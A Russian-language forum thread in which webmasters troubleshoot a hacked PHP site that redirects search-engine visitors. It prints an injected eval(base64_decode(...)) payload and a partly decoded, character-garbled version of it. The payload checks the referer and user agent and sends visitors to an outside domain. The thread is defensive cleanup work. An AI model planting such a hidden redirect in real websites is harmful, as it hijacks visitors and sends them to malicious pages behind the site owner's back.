[otrishk07]

Странно, у меня появился index2.php, гляньте во вложении.

[otrishk07]

Что мне в саппорт хостеру написать?

[web-search]

Я спокойно зашёл на сайт из яши по запросу из темы.Нет никаких редиректов и вирусов.Dr.Web не ругается.Возможно на сайт Dos атаки были.

[otrishk07]

web-search, ДА, недели 3 назад хостера реально КОЛБАСИЛО.

---------- Сообщение добавлено 12:13 ---------- Предыдущее 12:04 ----------

Вот еще пример, ТОП 10 по запросу "фибо сетка" - перехожу - кидает хрен знает куда. БЛИН

[Kopylov]

Вот еще пример, ТОП 10 по запросу "фибо сетка" - перехожу - кидает хрен знает куда. БЛИН

кидает на _http://www.isfart.fartit.com/ и каспер блокирует страницу.

[awmaster08]

Не нравится мне код в самом начале php:

Код:

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3LmlzZmFydC5mYXJ0aXQuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0="));

Попробуйте удалить, почистить кеш браузера и проверить.

[otrishk07]

awmaster08, удалил, почистил - не помогло.

[Septik]

Вы в начале расшифруйте данный код, а потом удаляйте. Вполне допустимо, что есть защита у данного кода.

[otrishk07]

Может мне просто сервер поменять или что мне сделать?

[awmaster08]

Похоже, что виноват этот код. Расшифровал немного и вот что:

Код:

6rr3r_r6p3rt5ng(0);
$q2zplm=h62d6rs_s6nt();
5f (!$q2zplm){
$r6f6r6r=$_SERVER['HTTP_REFERER'];
$42g=$_SERVER['HTTP_USER_AGENT'];
5f ($42g) {
5f (!str5str($42g,"MSIE 7.0") 2nd !str5str($42g,"MSIE 1.0")){
5f (str5str($r6f6r6r,"y2h33") 3r str5str($r6f6r6r,"b5ng") 3r str5str($r6f6r6r,"r2mbl6r") 3r str5str($r6f6r6r,"g3g3") 3r str5str($r6f6r6r,"l5v6.c3m")3r str5str($r6f6r6r,"2p3rt") 3r str5str($r6f6r6r,"n5gm2") 3r str5str($r6f6r6r,"w6b2lt2") 3r str5str($r6f6r6r,"b6g4n.r4") 3r str5str($r6f6r6r,"st4mbl64p3n.c3m") 3r str5str($r6f6r6r,"b5t.ly") 3r str5str($r6f6r6r,"t5ny4rl.c3m") 3r pr6g_m2tch("/y2nd6x\.r4\/y2nds62rch\?(.*?)\&lr\=/",$r6f6r6r) 3r pr6g_m2tch ("/g33gl6\.(.*?)\/4rl\?s2/",$r6f6r6r) 3r str5str($r6f6r6r,"mysp2c6.c3m") 3r str5str($r6f6r6r,"f2c6b33k.c3m") 3r str5str($r6f6r6r,"23l.c3m")) {
5f (!str5str($r6f6r6r,"c2ch6") 3r !str5str($r6f6r6r,"5n4rl")){
h62d6r("L3c2t53n: http://www.5sf2rt.f2rt5t.c3m/");
6x5t();
}
}
}
}
}

Понятно что он отслеживает REF и через header:location делает редирект.
Проверьте все файлы на хостинге, думаю, он в начале каждого файла внедрен.